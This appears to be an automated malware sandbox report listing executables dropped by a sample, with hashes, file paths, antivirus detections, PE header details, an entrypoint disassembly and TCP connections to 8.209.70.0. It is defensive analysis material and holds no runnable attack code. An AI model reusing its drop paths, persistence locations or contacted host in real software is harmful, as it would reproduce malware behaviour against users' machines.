Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.................$...................@....@...........................S......!7.....................................\|.N. .... M...................................................................................................................... ..........................@................0......................@................@...z..................@............ ...0......................@...........x+...P......................@.............1.........................@....rsrc........ M......L0.............@....28gybOo......N.......1.............@....adata.......pS.......6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B0F7.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 34%, Browse Antivirus: ReversingLabs, Detection: 77%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C7FA.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	557664
Entropy (8bit):	7.687250283474463
Encrypted:	false
SSDEEP:	12288:fWxcQhhhhhn8bieAtJlllLtrHWnjkQrK8iBHZkshvesxViA9Og+:fWZhhhhhUATlLtrUbK8oZphveoMA9
MD5:	6ADB5470086099B9169109333FADAB86
SHA1:	87EB7A01E9E54E0A308F8D5EDFD3AF6EBA4DC619
SHA-256:	B4298F77E454BD5F0BD58913F95CE2D2AF8653F3253E22D944B20758BBC944B4
SHA-512:	D050466BE53C33DAAF1E30CD50D7205F50C1ACA7BA13160B565CF79E1466A85F307FE1EC05DD09F59407FCB74E3375E8EE706ACDA6906E52DE6F2DD5FA3EDDCD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ.....o...g.'.:.(3...32.....f.....C'B{b.........+..R...d:.....Q..............................................................................................................................................................................................PE..L....5...............0..$...*........... ...`....@..........................0.......@....@..................................p..........P)...........................................................................................................idata...`.............................`.pdata.......p......................@....rsrc...P)......0...................@..@.didata..........x..................@.....................................................................................................................................................................................................................................................................................................................g..L.r9..v9.<iP.hL[Kc...",..

C:\Users\user\AppData\Local\Temp\DB31.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	322560
Entropy (8bit):	6.7095586688781985
Encrypted:	false
SSDEEP:	6144:nOOJ91Tu9Vc1ye3MKfa+zqKnvDfsxa6hkZC15O5Pdz:nRJ91TYWym1ffzvD36YC15E
MD5:	6009BCB680BE6C0F656AA157E56423DC
SHA1:	FA9BA68D6B2026683BD392259BA26D7D468AEA7E
SHA-256:	5C037C7C1338CF54A9D1E81B74BB4AD003E1A254069A03499426EC1600A748D9
SHA-512:	5ECE7D9531051C951DFA0CF9533AB778B468EBE3EBE5D7B8A934D408E69BE910F244C59810A5FB41376B1CA7E5EB78DBF514032354EF047D00F043E2A17795E9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R......R....g.R..])..R..S...R.....R......R......R.Rich.R.................PE..L...9.-`..........................................@.........................................................................$...(...................................................................0...@...............D............................text............................... ..`.data...............................@....gave...............................@....noduf..............................@....gafal..............................@....rsrc................ ..............@..@.reloc..dF.......H..................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E748.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	319488
Entropy (8bit):	6.68576465213566
Encrypted:	false
SSDEEP:	6144:tFaYhNulUB/eDlvaOA2tm9gogt8nfF9TJwnGbQ5+:tFnhNulSEvYcOgonTTJwEQ5
MD5:	7C64BD730B6C9565F287278834A33618
SHA1:	0D36AF541B32F19FD18E7FDA3F55440C97D22407
SHA-256:	6CB775A7C9B0CF8BA308029DC623E1DE6D17CB2AB6B7EBBBD9C16BFCAA55EFE8
SHA-512:	A8A304220B0CCA1058449511BDE2973E90F9237BE36A909C070AF2C0C9B6D340DB21A0287BCDFA9D333C61FCA1A7D7C95E4CDF4288C8D192FD681ADA4F322C55
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R......R....g.R..])..R..S...R.....R......R......R.Rich.R.................PE..L......`.........................................@.............................................................................(...................................................................0...@...............D............................text...d........................... ..`.data...............................@....sop................................@....fob................................@....hasajo.............................@....rsrc...............................@..@.reloc..ZF.......H..................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F65C.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	537088
Entropy (8bit):	5.840438491186833
Encrypted:	false
SSDEEP:	12288:SV2DJxKmQESnLJYydpKDDCrqXSIXcZD0sgbxRo:nK1vVYcZyXSY
MD5:	D7DF01D8158BFADDC8BA48390E52F355
SHA1:	7B885368AA9459CE6E88D70F48C2225352FAB6EF
SHA-256:	4F4D1A2479BA99627B5C2BC648D91F412A7DDDDF4BCA9688C67685C5A8A7078E
SHA-512:	63F1C903FB868E25CE49D070F02345E1884F06EDEC20C9F8A47158ECB70B9E93AAD47C279A423DB1189C06044EA261446CAE4DB3975075759052D264B020262A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?y...............0.............I... ...`....@.. ....................................@.................................`I..K....`............................................................................... ............... ..H............text....)... ..................... ..`.rsrc........`.......,..............@....reloc...............0..............@..B.................I......H............?..........hX..}............................................(......0..,.......(d...8.....~....u....s....z&8.........8...................................(d...(.......j................................(.....~(....(^...8....(.........8........................................0..............0...................................(......0.....................0..............(....z.A.........z.A............................................*.......

C:\Users\user\AppData\Local\Temp\gecrjwsv.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\E748.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11673600
Entropy (8bit):	3.816723429746929
Encrypted:	false
SSDEEP:	6144:OFaYhNulUB/eDlvaOA2tm9gogt8nfF9TJwnGbQ5+:OFnhNulSEvYcOgonTTJwEQ5
MD5:	6DD4312F6A305B72C1A1948F27068190
SHA1:	1A76D5EB3D9CB7628B746A2C649DC6CCC03EACAC
SHA-256:	DD1F717452D1875BF3AF9FDE8D4AC06514FF9B05E58C579E6AD5F2B0A5F4D51F
SHA-512:	BC1742225A9FC18856424423C062E7CCA7CA28C0232F23FBF78661898144D92EA9A2EC6FF4EC91BCA50B69C2B33CB2F43E059A6AFAB8B0BFA86517A8BBA914C5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R......R....g.R..])..R..S...R.....R......R......R.Rich.R.................PE..L......`.........................................@.............................................................................(...................................................................0...@...............D............................text...d........................... ..`.data...............................@....sop................................@....fob................................@....hasajo.............................@....rsrc...............................@..@.reloc..ZF..........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\rifsswe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	320512
Entropy (8bit):	6.691089236822667
Encrypted:	false
SSDEEP:	6144:0H4/g0hr5Y3eofIaxJGgOe8nQGo/GOEEmBbejvf:0Y4OuJI8pd8a/GAmBbe
MD5:	888928D26BD03678AFD9FED0D92F6FC9
SHA1:	37723B453FD3133C01E7A43892B73C6580EDD164
SHA-256:	1CF27AB77A771FF942B1E2947856844FBAB4991CF87ACA618968445B5C5D706D
SHA-512:	7007BA06A902089229F384650DE75ABCEC8740501F3E6A12F421951689F932582DD5749234B8B635D074B3BDD1061AC786449DD582BDAF840FBDEF9BF2BB76F2
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R......R....g.R..])..R..S...R.....R......R......R.Rich.R.................PE..L....U.`..........................................@.................................P...........................................(...................................................................0...@...............D............................text...D........................... ..`.data...............................@....koyalef............................@....bopi...............................@....cegem..............................@....rsrc...............................@..@.reloc..ZF.......H..................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\rifsswe:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe (copy) Download File
Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11673600
Entropy (8bit):	3.816723429746929
Encrypted:	false
SSDEEP:	6144:OFaYhNulUB/eDlvaOA2tm9gogt8nfF9TJwnGbQ5+:OFnhNulSEvYcOgonTTJwEQ5
MD5:	6DD4312F6A305B72C1A1948F27068190
SHA1:	1A76D5EB3D9CB7628B746A2C649DC6CCC03EACAC
SHA-256:	DD1F717452D1875BF3AF9FDE8D4AC06514FF9B05E58C579E6AD5F2B0A5F4D51F
SHA-512:	BC1742225A9FC18856424423C062E7CCA7CA28C0232F23FBF78661898144D92EA9A2EC6FF4EC91BCA50B69C2B33CB2F43E059A6AFAB8B0BFA86517A8BBA914C5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R......R....g.R..])..R..S...R.....R......R......R.Rich.R.................PE..L......`.........................................@.............................................................................(...................................................................0...@...............D............................text...d........................... ..`.data...............................@....sop................................@....fob................................@....hasajo.............................@....rsrc...............................@..@.reloc..ZF..........................@..B........................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.236352523388576
Encrypted:	false
SSDEEP:	12288:qCkTwSoKc2tIokbtAz9HlFkEwQVj9jNoD+d+qnG3miIAAQVi:nkTwSoKc2tjkbt23w
MD5:	9559FE849D365085D314F82D67F2A35E
SHA1:	CC18BA14948462C90BF7D9A82DF399FFDCD009E9
SHA-256:	095A6F3AC520C2FCA853EF867B55E04B72221523137DE58C8882C4F38117BA4E
SHA-512:	BBDABC4E7D8B64576FCFE31D1438E6A1C854772AE2EB0633C76676D72AB992B1F77C097DCEFEF9FBE4C5D9FB92EBAAF5D576F316A02180FD08E33A4C20794BCD
Malicious:	false
Reputation:	unknown
Preview:	regfH...H...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.%C= .................................................................................................................................................................................................................................................................................................................................................H`........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1 Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	3.3460374001719013
Encrypted:	false
SSDEEP:	384:jjC5K5gBv4KgnVVeeDzeT1NKZtjbT8GxwQ3zeDM8y:P8KUg/eeDzeJNYtj0GxwQiM8
MD5:	B70CC5CA4245A261BB82B3C28B555A61
SHA1:	935103E48FCA22FF96AED36458371D966DA4594B
SHA-256:	FCB60B171A00416847309E79408CA0FC4AB0D093257417FD4C3BAB1BB9EF4D8D
SHA-512:	45EBF9B3A9848A4F94F04CF1B055ABDB90A166C286179DB9E394900EED75E7DF19368B83CFE63B0902FA49511706E057859287756D7D735D4CEDD57710A8270E
Malicious:	false
Reputation:	unknown
Preview:	regfG...G...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.%C= .................................................................................................................................................................................................................................................................................................................................................H`HvLE.N......G..............&.......md........................ ..hbin................p.\..,..........nk,...E= .......x........................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ...E= ....... ........................... .......Z.......................Root........lf......Root....nk ...E= ................................... ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck.......p...

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.691089236822667
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	tijXCZsbGe.exe
File size:	320512
MD5:	888928d26bd03678afd9fed0d92f6fc9
SHA1:	37723b453fd3133c01e7a43892b73c6580edd164
SHA256:	1cf27ab77a771ff942b1e2947856844fbab4991cf87aca618968445b5c5d706d
SHA512:	7007ba06a902089229f384650de75abcec8740501f3e6a12f421951689f932582dd5749234b8b635d074b3bdd1061ac786449dd582bdaf840fbdef9bf2bb76f2
SSDEEP:	6144:0H4/g0hr5Y3eofIaxJGgOe8nQGo/GOEEmBbejvf:0Y4OuJI8pd8a/GAmBbe
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R.....g.R..])...R...S...R.......R.......R.......R.Rich..R.................PE..L....U.`...................

File Icon


Icon Hash:	c8d0d8e0f8e0f0e8

Static PE Info

General
Entrypoint:	0x41b7b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x60A45518 [Wed May 19 00:00:24 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	80fec6fca6f81033220e34b44810dbfd

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007FB310BC2FBBh
call 00007FB310BB5FC6h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0043DDA8h
push 0041E990h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [00440354h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [004010A0h]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007FB310BB5FD8h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007FB310BB6107h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007FB310BB6144h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007FB310BC399Ah
add esp, 04h
test eax, eax
jne 00007FB310BB5FBCh
push 0000001Ch
call 00007FB310BB60FCh
add esp, 04h
call 00007FB310BBF0A4h
test eax, eax
jne 00007FB310BB5FBCh
push 00000010h

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[LNK] VS2008 build 21022
[RES] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e4d4	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x150000	0x83b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x159000	0x1e04	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1390	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9130	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x344	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3e844	0x3ea00	False	0.582655002495	data	6.96511151774	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x40000	0x10c988	0x1800	False	0.340657552083	data	3.46253582216	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.koyalef	0x14d000	0x5	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.bopi	0x14e000	0xea	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.cegem	0x14f000	0xd93	0xe00	False	0.00697544642857	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x150000	0x83b8	0x8400	False	0.597005208333	data	5.81594555385	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x159000	0x465a	0x4800	False	0.346625434028	data	3.69106106097	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AFX_DIALOG_LAYOUT	0x156ce8	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x156ce0	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x156cf0	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x156cf8	0x2	data	Dutch	Netherlands
CIDAFICUDUROSOTAROM	0x1565c8	0x6c7	ASCII text, with very long lines, with no line terminators	Spanish	Colombia
RT_CURSOR	0x156d00	0x8a8	dBase III DBT, version number 0, next free block index 40, 1st item "\251\317"	Dutch	Netherlands
RT_ICON	0x1506e0	0x6c8	data	Spanish	Colombia
RT_ICON	0x150da8	0x568	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x151310	0x10a8	data	Spanish	Colombia
RT_ICON	0x1523b8	0x988	dBase III DBT, version number 0, next free block index 40	Spanish	Colombia
RT_ICON	0x152d40	0x468	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x1531f8	0x8a8	data	Spanish	Colombia
RT_ICON	0x153aa0	0x6c8	data	Spanish	Colombia
RT_ICON	0x154168	0x568	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x1546d0	0x10a8	data	Spanish	Colombia
RT_ICON	0x155778	0x988	data	Spanish	Colombia
RT_ICON	0x156100	0x468	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_STRING	0x1575c0	0xe4	data	Dutch	Netherlands
RT_STRING	0x1576a8	0x3a8	data	Dutch	Netherlands
RT_STRING	0x157a50	0x6e6	data	Dutch	Netherlands
RT_STRING	0x158138	0x1a0	data	Dutch	Netherlands
RT_STRING	0x1582d8	0xdc	data	Dutch	Netherlands
RT_ACCELERATOR	0x156ca0	0x10	data	Dutch	Netherlands
RT_ACCELERATOR	0x156c90	0x10	data	Dutch	Netherlands
RT_GROUP_CURSOR	0x1575a8	0x14	data	Dutch	Netherlands
RT_GROUP_ICON	0x1531a8	0x4c	data	Spanish	Colombia
RT_GROUP_ICON	0x156568	0x5a	data	Spanish	Colombia
None	0x156cc0	0xa	data	Dutch	Netherlands
None	0x156cd0	0xa	data	Dutch	Netherlands
None	0x156cb0	0xa	data	Dutch	Netherlands

Imports

DLL

Import

KERNEL32.dll

CallNamedPipeW, TerminateProcess, GetExitCodeProcess, GetVersionExW, SetConsoleCP, GetConsoleAliasesLengthW, GetDefaultCommConfigW, FindFirstFileExW, GetDriveTypeW, FreeEnvironmentStringsA, SetProcessPriorityBoost, SetVolumeMountPointW, GetLongPathNameA, CopyFileA, TlsGetValue, SetConsoleCursorInfo, SetComputerNameExA, SystemTimeToTzSpecificLocalTime, FindAtomA, ReleaseSemaphore, CallNamedPipeA, CreateMailslotA, BuildCommDCBAndTimeoutsW, VirtualProtect, LoadLibraryA, LocalAlloc, TryEnterCriticalSection, GetCommandLineW, InterlockedDecrement, GetCalendarInfoA, DeleteFileA, CreateActCtxW, CreateRemoteThread, SetSystemTimeAdjustment, GetPriorityClass, WritePrivateProfileStringA, GetProcessHeaps, GetProcessHeap, GlobalUnWire, ReadConsoleOutputCharacterW, GetStartupInfoW, GetDiskFreeSpaceExA, GetCPInfoExA, GetWindowsDirectoryW, GetSystemWow64DirectoryW, GetLastError, WriteProfileSectionW, GetProfileStringA, GetConsoleCursorInfo, SetLastError, DeleteVolumeMountPointA, DebugBreak, lstrcmpA, WriteFile, SetConsoleMode, GetVersion, GetSystemWindowsDirectoryW, GlobalFindAtomA, FindCloseChangeNotification, GetTapeParameters, SetMailslotInfo, InterlockedExchange, DefineDosDeviceW, FindVolumeMountPointClose, EndUpdateResourceW, WriteConsoleW, GetSystemTimeAdjustment, WritePrivateProfileSectionA, GetPrivateProfileStructW, GetDriveTypeA, GetFileAttributesExA, MoveFileW, GetVolumePathNameA, GetConsoleMode, HeapUnlock, lstrcmpW, SetDefaultCommConfigW, FindActCtxSectionStringA, ResetEvent, GetThreadContext, MoveFileExW, GetProcAddress, GlobalLock, UnregisterWaitEx, BuildCommDCBA, PeekConsoleInputW, GetBinaryTypeW, CreateSemaphoreW, TransmitCommChar, WaitNamedPipeA, GetPrivateProfileSectionNamesW, FindResourceExW, EnumTimeFormatsW, GetLocalTime, CreateSemaphoreA, FreeEnvironmentStringsW, GetPrivateProfileSectionW, GetOverlappedResult, SetFileShortNameW, lstrcpyA, VerLanguageNameW, SetThreadExecutionState, SetSystemTime, LockFile, VerSetConditionMask, GetConsoleAliasA, FlushConsoleInputBuffer, FreeConsole, GetAtomNameW, GetConsoleAliasExesLengthA, WriteConsoleInputW, TransactNamedPipe, EnumDateFormatsA, SetCommState, FileTimeToLocalFileTime, _lopen, GetConsoleAliasExesLengthW, GetWriteWatch, GetNumberOfConsoleInputEvents, GetModuleHandleW, WriteConsoleOutputCharacterA, HeapFree, OpenMutexW, LocalLock, GetCommMask, SetEndOfFile, FindClose, CreateIoCompletionPort, SetFileApisToANSI, CancelWaitableTimer, GetProcessHandleCount, UnregisterWait, GetProcessVersion, lstrcpynA, GetNamedPipeInfo, GetCompressedFileSizeA, FindNextVolumeMountPointW, GetFullPathNameA, WriteProfileStringA, DeleteAtom, GlobalAddAtomW, TerminateJobObject, QueryDosDeviceW, InitializeCriticalSection, Process32NextW, SetCurrentDirectoryA, GetBinaryTypeA, MoveFileA, RaiseException, HeapValidate, IsBadReadPtr, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetModuleFileNameW, GetModuleHandleA, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, InterlockedIncrement, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, TlsAlloc, TlsSetValue, GetCurrentThreadId, TlsFree, Sleep, ExitProcess, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, HeapDestroy, HeapCreate, VirtualFree, GetModuleFileNameA, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, RtlUnwind, InitializeCriticalSectionAndSpinCount, OutputDebugStringA, OutputDebugStringW, LoadLibraryW, MultiByteToWideChar, GetStringTypeA, GetStringTypeW, WideCharToMultiByte, LCMapStringA, LCMapStringW, GetLocaleInfoA, SetFilePointer, GetConsoleCP, FlushFileBuffers, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, CloseHandle, CreateFileA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Dutch	Netherlands
Spanish	Colombia

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2022 09:24:58.797563076 CET	49771	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:58.814989090 CET	80	49771	8.209.70.0	192.168.2.4
Jan 14, 2022 09:24:58.815146923 CET	49771	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:58.815263033 CET	49771	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:58.816153049 CET	49771	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:58.832624912 CET	80	49771	8.209.70.0	192.168.2.4
Jan 14, 2022 09:24:58.833401918 CET	80	49771	8.209.70.0	192.168.2.4
Jan 14, 2022 09:24:58.940293074 CET	80	49771	8.209.70.0	192.168.2.4
Jan 14, 2022 09:24:58.940399885 CET	49771	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:58.941262960 CET	49771	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:58.958657980 CET	80	49771	8.209.70.0	192.168.2.4
Jan 14, 2022 09:24:59.284614086 CET	49772	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:59.302115917 CET	80	49772	8.209.70.0	192.168.2.4
Jan 14, 2022 09:24:59.302324057 CET	49772	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:59.302438021 CET	49772	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:59.302463055 CET	49772	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:59.319987059 CET	80	49772	8.209.70.0	192.168.2.4
Jan 14, 2022 09:24:59.445801020 CET	80	49772	8.209.70.0	192.168.2.4
Jan 14, 2022 09:24:59.445892096 CET	49772	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:59.445961952 CET	49772	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:59.463897943 CET	80	49772	8.209.70.0	192.168.2.4
Jan 14, 2022 09:24:59.475713968 CET	49773	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:59.493649006 CET	80	49773	8.209.70.0	192.168.2.4
Jan 14, 2022 09:24:59.493765116 CET	49773	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:59.493870974 CET	49773	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:59.493884087 CET	49773	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:59.511320114 CET	80	49773	8.209.70.0	192.168.2.4
Jan 14, 2022 09:24:59.614084959 CET	80	49773	8.209.70.0	192.168.2.4
Jan 14, 2022 09:24:59.614232063 CET	49773	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:24:59.614471912 CET	49773	80	192.168.2.4	8.209.70.0
